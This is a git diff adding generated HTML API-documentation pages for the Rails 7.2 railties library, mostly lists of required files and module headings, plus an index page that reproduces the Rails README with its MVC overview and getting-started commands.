+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/integration/integration_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/integration/integration_generator_rb.html new file mode 100644 index 0000000000..f84f5b6468 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/integration/integration_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: integration_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/job/job_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/job/job_generator_rb.html new file mode 100644 index 0000000000..9e22bd9f6b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/job/job_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: job_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/mailer/mailer_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/mailer/mailer_generator_rb.html new file mode 100644 index 0000000000..d65189a2cb --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/mailer/mailer_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: mailer_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/model/model_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/model/model_generator_rb.html new file mode 100644 index 0000000000..4ab8b59c3b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/model/model_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: model_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/plugin/plugin_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/plugin/plugin_generator_rb.html new file mode 100644 index 0000000000..5b354fdf63 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/plugin/plugin_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: plugin_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator_rb.html new file mode 100644 index 0000000000..bd553e0d06 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator_rb.html @@ -0,0 +1,67 @@ +--- +title: scaffold_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
  • rails/generators/resource_helpers
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/system/system_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/system/system_generator_rb.html new file mode 100644 index 0000000000..7334d5449f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/system/system_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: system_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit_rb.html new file mode 100644 index 0000000000..63655e8c1e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit_rb.html @@ -0,0 +1,65 @@ +--- +title: test_unit.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/named_base
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/testing/assertions_rb.html b/src/7.2/files/railties/lib/rails/generators/testing/assertions_rb.html new file mode 100644 index 0000000000..76c21d5117 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/testing/assertions_rb.html @@ -0,0 +1,76 @@ +--- +title: assertions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/testing/behavior_rb.html b/src/7.2/files/railties/lib/rails/generators/testing/behavior_rb.html new file mode 100644 index 0000000000..b90b544a0e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/testing/behavior_rb.html @@ -0,0 +1,98 @@ +--- +title: behavior.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/class/attribute
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/hash/reverse_merge
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/testing/stream
  • + +
  • active_support/concern
  • + +
  • rails/generators
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/testing/setup_and_teardown_rb.html b/src/7.2/files/railties/lib/rails/generators/testing/setup_and_teardown_rb.html new file mode 100644 index 0000000000..5f7f5fbab4 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/testing/setup_and_teardown_rb.html @@ -0,0 +1,76 @@ +--- +title: setup_and_teardown.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators_rb.html b/src/7.2/files/railties/lib/rails/generators_rb.html new file mode 100644 index 0000000000..92beae09d7 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators_rb.html @@ -0,0 +1,96 @@ +--- +title: generators.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thor/group
  • + +
  • rails/command
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/hash/deep_merge
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/string/indent
  • + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/health_controller_rb.html b/src/7.2/files/railties/lib/rails/health_controller_rb.html new file mode 100644 index 0000000000..81035d3589 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/health_controller_rb.html @@ -0,0 +1,77 @@ +--- +title: health_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/info_controller_rb.html b/src/7.2/files/railties/lib/rails/info_controller_rb.html new file mode 100644 index 0000000000..8bb10bca8b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/info_controller_rb.html @@ -0,0 +1,84 @@ +--- +title: info_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/application_controller
  • + +
  • action_dispatch/routing/inspector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/info_rb.html b/src/7.2/files/railties/lib/rails/info_rb.html new file mode 100644 index 0000000000..b8cf4d7d82 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/info_rb.html @@ -0,0 +1,82 @@ +--- +title: info.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • cgi
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/initializable_rb.html b/src/7.2/files/railties/lib/rails/initializable_rb.html new file mode 100644 index 0000000000..211dd3991c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/initializable_rb.html @@ -0,0 +1,91 @@ +--- +title: initializable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • tsort
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/mailers_controller_rb.html b/src/7.2/files/railties/lib/rails/mailers_controller_rb.html new file mode 100644 index 0000000000..e1be3a3070 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/mailers_controller_rb.html @@ -0,0 +1,88 @@ +--- +title: mailers_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/application_controller
  • + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/paths_rb.html b/src/7.2/files/railties/lib/rails/paths_rb.html new file mode 100644 index 0000000000..341cb36fe2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/paths_rb.html @@ -0,0 +1,89 @@ +--- +title: paths.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/plugin/test_rb.html b/src/7.2/files/railties/lib/rails/plugin/test_rb.html new file mode 100644 index 0000000000..2dab863623 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/plugin/test_rb.html @@ -0,0 +1,80 @@ +--- +title: test.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/test_unit/runner
  • + +
  • rails/test_unit/reporter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/pwa_controller_rb.html b/src/7.2/files/railties/lib/rails/pwa_controller_rb.html new file mode 100644 index 0000000000..de34e189ac --- /dev/null +++ b/src/7.2/files/railties/lib/rails/pwa_controller_rb.html @@ -0,0 +1,78 @@ +--- +title: pwa_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/application_controller
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/rack/logger_rb.html b/src/7.2/files/railties/lib/rails/rack/logger_rb.html new file mode 100644 index 0000000000..20025dd5cc --- /dev/null +++ b/src/7.2/files/railties/lib/rails/rack/logger_rb.html @@ -0,0 +1,95 @@ +--- +title: logger.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/time/conversions
  • + +
  • active_support/log_subscriber
  • + +
  • rack/body_proxy
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/rack_rb.html b/src/7.2/files/railties/lib/rails/rack_rb.html new file mode 100644 index 0000000000..256326056c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/rack_rb.html @@ -0,0 +1,72 @@ +--- +title: rack.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/rackup/server_rb.html b/src/7.2/files/railties/lib/rails/rackup/server_rb.html new file mode 100644 index 0000000000..d86c29c886 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/rackup/server_rb.html @@ -0,0 +1,57 @@ +--- +title: server.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/railtie/configurable_rb.html b/src/7.2/files/railties/lib/rails/railtie/configurable_rb.html new file mode 100644 index 0000000000..706043ff09 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/railtie/configurable_rb.html @@ -0,0 +1,89 @@ +--- +title: configurable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/railtie/configuration_rb.html b/src/7.2/files/railties/lib/rails/railtie/configuration_rb.html new file mode 100644 index 0000000000..dce9193c1b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/railtie/configuration_rb.html @@ -0,0 +1,89 @@ +--- +title: configuration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/configuration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/railtie_rb.html b/src/7.2/files/railties/lib/rails/railtie_rb.html new file mode 100644 index 0000000000..0d454f7662 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/railtie_rb.html @@ -0,0 +1,95 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/initializable
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/inflector
  • + +
  • active_support/core_ext/module/introspection
  • + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/source_annotation_extractor_rb.html b/src/7.2/files/railties/lib/rails/source_annotation_extractor_rb.html new file mode 100644 index 0000000000..f33da4de54 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/source_annotation_extractor_rb.html @@ -0,0 +1,93 @@ +--- +title: source_annotation_extractor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • ripper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/tasks_rb.html b/src/7.2/files/railties/lib/rails/tasks_rb.html new file mode 100644 index 0000000000..03bbd3a875 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/tasks_rb.html @@ -0,0 +1,65 @@ +--- +title: tasks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rake
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/test_help_rb.html b/src/7.2/files/railties/lib/rails/test_help_rb.html new file mode 100644 index 0000000000..4d6d1fe4fa --- /dev/null +++ b/src/7.2/files/railties/lib/rails/test_help_rb.html @@ -0,0 +1,57 @@ +--- +title: test_help.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/testing/maintain_test_schema_rb.html b/src/7.2/files/railties/lib/rails/testing/maintain_test_schema_rb.html new file mode 100644 index 0000000000..969c569454 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/testing/maintain_test_schema_rb.html @@ -0,0 +1,70 @@ +--- +title: maintain_test_schema.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/version_rb.html b/src/7.2/files/railties/lib/rails/version_rb.html new file mode 100644 index 0000000000..fa18548389 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/version_rb.html @@ -0,0 +1,72 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/welcome_controller_rb.html b/src/7.2/files/railties/lib/rails/welcome_controller_rb.html new file mode 100644 index 0000000000..5497a60c9f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/welcome_controller_rb.html @@ -0,0 +1,78 @@ +--- +title: welcome_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/application_controller
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/zeitwerk_checker_rb.html b/src/7.2/files/railties/lib/rails/zeitwerk_checker_rb.html new file mode 100644 index 0000000000..701967acfb --- /dev/null +++ b/src/7.2/files/railties/lib/rails/zeitwerk_checker_rb.html @@ -0,0 +1,78 @@ +--- +title: zeitwerk_checker.rb +layout: default +--- +
+ + +
+
+ +
+ +

The actual (private) implementation of the Rake task zeitwerk:check.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails_rb.html b/src/7.2/files/railties/lib/rails_rb.html new file mode 100644 index 0000000000..7f0eab3701 --- /dev/null +++ b/src/7.2/files/railties/lib/rails_rb.html @@ -0,0 +1,102 @@ +--- +title: rails.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • active_support
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/object/blank
  • + +
  • rails/version
  • + +
  • rails/deprecator
  • + +
  • rails/application
  • + +
  • rails/backtrace_cleaner
  • + +
  • active_support/railtie
  • + +
  • action_dispatch/railtie
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/index.html b/src/7.2/index.html new file mode 100644 index 0000000000..a5269e23a0 --- /dev/null +++ b/src/7.2/index.html @@ -0,0 +1,148 @@ +--- +title: RDOC_MAIN.md +layout: default +--- +
+ + +
+
+ +
+ +

Welcome to Rails

+ +

What’s Rails?

+ +

Rails is a web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Controller (MVC) pattern.

+ +

Understanding the MVC pattern is key to understanding Rails. MVC divides your application into three layers: Model, View, and Controller, each with a specific responsibility.

+ +

Model layer

+ +

The Model layer represents the domain model (such as Account, Product, Person, Post, etc.) and encapsulates the business logic specific to your application. In Rails, database-backed model classes are derived from ActiveRecord::Base. Active Record allows you to present the data from database rows as objects and embellish these data objects with business logic methods. Although most Rails models are backed by a database, models can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as provided by the Active Model module.

+ +

View layer

+ +

The View layer is composed of β€œtemplates” that are responsible for providing appropriate representations of your application’s resources. Templates can come in a variety of formats, but most view templates are HTML with embedded Ruby code (ERB files). Views are typically rendered to generate a controller response or to generate the body of an email. In Rails, View generation is handled by Action View.

+ +

Controller layer

+ +

The Controller layer is responsible for handling incoming HTTP requests and providing a suitable response. Usually, this means returning HTML, but Rails controllers can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and manipulate models, and render view templates in order to generate the appropriate HTTP response. In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and controller classes are derived from ActionController::Base. Action Dispatch and Action Controller are bundled together in Action Pack.

+ +

Frameworks and libraries

+ +

Active Record, Active Model, Action Pack, and Action View can each be used independently outside Rails.

+ +

In addition to that, Rails also comes with:

+
  • +

    Action Mailer, a library to generate and send emails

    +
  • +

    Action Mailbox, a library to receive emails within a Rails application

    +
  • +

    Active Job, a framework for declaring jobs and making them run on a variety of queuing backends

    +
  • +

    Action Cable, a framework to integrate WebSockets with a Rails application

    +
  • +

    Active Storage, a library to attach cloud and local files to Rails applications

    +
  • +

    Action Text, a library to handle rich text content

    +
  • +

    Active Support, a collection of utility classes and standard library extensions that are useful for Rails, and may also be used independently outside Rails

    +
+ +

Getting Started

+
  1. +

    Install Rails at the command prompt if you haven't yet:

    + +
    $ gem install rails
    +
    +
  2. +

    At the command prompt, create a new Rails application:

    + +
    $ rails new myapp
    +
    + +

    where "myapp" is the application name.

    +
  3. +

    Change directory to myapp and start the web server:

    + +
    $ cd myapp
    +$ bin/rails server
    +
    + +

    Run with --help or -h for options.

    +
  4. +

    Go to http://localhost:3000 and you'll see the Rails bootscreen with your Rails and Ruby versions.

    +
  5. +

    Follow the guidelines to start developing your application. You may find the following resources handy:

    + +
+ +

Contributing

+ +

We encourage you to contribute to Ruby on Rails! Please check out the Contributing to Ruby on Rails guide for guidelines about how to proceed. Join us!

+ +

Trying to report a possible security vulnerability in Rails? Please check out our security policy for guidelines about how to proceed.

+ +

Everyone interacting in Rails and its sub-projects’ codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails code of conduct.

+ +

License

+ +

Ruby on Rails is released under the MIT License.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/navigation.html b/src/7.2/navigation.html new file mode 100644 index 0000000000..1a8d66ce34 --- /dev/null +++ b/src/7.2/navigation.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/src/classes/AbstractController.html b/src/classes/AbstractController.html index da58b719a9..6795efea63 100644 --- a/src/classes/AbstractController.html +++ b/src/classes/AbstractController.html @@ -5,7 +5,7 @@